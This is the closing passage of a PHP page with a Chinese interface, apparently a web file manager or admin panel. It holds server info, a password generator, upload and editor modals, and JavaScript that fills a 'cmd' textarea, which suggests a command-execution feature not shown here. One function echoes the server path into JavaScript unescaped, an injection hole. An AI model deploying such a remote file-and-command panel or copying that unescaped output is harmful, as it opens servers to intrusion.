                            <div><strong>内存限制：</strong><?php echo ini_get('memory_limit'); ?></div>
                            <div><strong>上传限制：</strong><?php echo ini_get('upload_max_filesize'); ?></div>
                            <div><strong>最大执行时间：</strong><?php echo ini_get('max_execution_time'); ?>秒</div>
                            <div><strong>GD库：</strong><?php echo function_exists('gd_info') ? '支持' : '不支持'; ?></div>
                            <div><strong>OpenSSL：</strong><?php echo function_exists('openssl_encrypt') ? '支持' : '不支持'; ?></div>
                        </div>
                    </div>
                </div>
                
                <div class="card">
                    <div class="card-header">
                        <h3>🔐 密码生成</h3>
                    </div>
                    <div class="card-body">
                        <form method="get">
                            <input type="hidden" name="path" value="<?php echo htmlspecialchars($current_path); ?>">
                            <div class="input-group">
                                <label>密码长度</label>
                                <input type="number" name="length" value="12" min="8" max="32">
                            </div>
                            <button type="submit" name="action" value="generate_password" class="btn success">🎲 生成密码</button>
                        </form>
                        <?php if (isset($_SESSION['generated_password'])): ?>
                        <div style="margin-top:15px; padding:10px; background:rgba(16, 185, 129, 0.1); border-radius:5px;">
                            <strong>生成的密码：</strong>
                            <div style="font-family:monospace; font-size:12px; word-break:break-all;"><?php echo htmlspecialchars($_SESSION['generated_password']); ?></div>
                        </div>
                        <?php endif; ?>
                    </div>
                </div>
            </div>
        </div>
    </div>
</div>

<!-- 上传模态框 -->
<div class="modal" id="uploadModal">
    <div class="modal-content">
        <div class="modal-header">
            <h3>📤 上传文件</h3>
            <button class="btn secondary" onclick="closeModal('uploadModal')">✕</button>
        </div>
        <div class="modal-body">
            <form method="post" enctype="multipart/form-data" action="?action=upload&path=<?php echo urlencode($current_path); ?>">
                <div class="input-group">
                    <label>选择文件（支持多选）</label>
                    <input type="file" name="file[]" multiple required>
                </div>
                <div class="modal-footer">
                    <button type="button" class="btn secondary" onclick="closeModal('uploadModal')">取消</button>
                    <button type="submit" class="btn success">📤 上传</button>
                </div>
            </form>
        </div>
    </div>
</div>

<!-- 编辑器模态框 -->
<div class="modal" id="editorModal">
    <div class="modal-content">
        <div class="modal-header">
            <h3>✏️ 编辑文件</h3>
            <button class="btn secondary" onclick="closeModal('editorModal')">✕</button>
        </div>
        <div class="modal-body">
            <form method="post" id="editForm">
                <input type="hidden" name="file" id="editFile">
                <textarea class="code-editor" name="content" id="editContent"></textarea>
                <div class="modal-footer">
                    <button type="button" class="btn secondary" onclick="closeModal('editorModal')">取消</button>
                    <button type="submit" class="btn success">💾 保存</button>
                </div>
            </form>
        </div>
    </div>
</div>

<script>
function showTab(tab) {
    document.querySelectorAll('.tab-content').forEach(el => el.classList.remove('active'));
    document.querySelectorAll('.nav-item').forEach(el => el.classList.remove('active'));
    document.getElementById('tab-' + tab).classList.add('active');
    document.querySelector(`.nav-item[onclick="showTab('${tab}')"]`).classList.add('active');
}

function showModal(modalId) {
    document.getElementById(modalId).classList.add('active');
}

function closeModal(modalId) {
    document.getElementById(modalId).classList.remove('active');
}

function openEditor(filename) {
    fetch('?action=edit&file=' + encodeURIComponent(filename) + '&path=<?php echo urlencode($current_path); ?>')
        .then(r => r.text())
        .then(content => {
            document.getElementById('editFile').value = filename;
            document.getElementById('editContent').value = content;
            document.getElementById('editForm').action = '?action=edit&file=' + encodeURIComponent(filename) + '&path=<?php echo urlencode($current_path); ?>';
            showModal('editorModal');
        });
}

function fileClicked(filename) {
    const fullPath = '?path=' + encodeURIComponent('<?php echo $current_path; ?>/' + filename);
    if (confirm('打开文件 ' + filename + '？')) {
        location.href = fullPath;
    }
}

function selectAllFiles() {
    document.querySelectorAll('.file-item').forEach(item => {
        item.style.borderColor = 'var(--primary)';
        item.style.background = 'rgba(124, 58, 237, 0.1)';
    });
}

function batchDownload() {
    alert('批量下载功能正在开发中...');
}

function setCommand(cmd) {
    document.querySelector('textarea[name="cmd"]').value = cmd;
}

document.addEventListener('keydown', e => {
    if (e.ctrlKey && e.key === 's' && document.getElementById('editorModal').classList.contains('active')) {
        e.preventDefault();
        document.querySelector('#editForm button[type="submit"]').click();
    }
    if (e.key === 'Escape') {
        document.querySelectorAll('.modal.active').forEach(modal => modal.classList.remove('active'));
    }
});

document.querySelectorAll('.modal').forEach(modal => {
    modal.addEventListener('click', e => {
        if (e.target === modal) modal.classList.remove('active');
    });
});
</script>
</body>
</html>
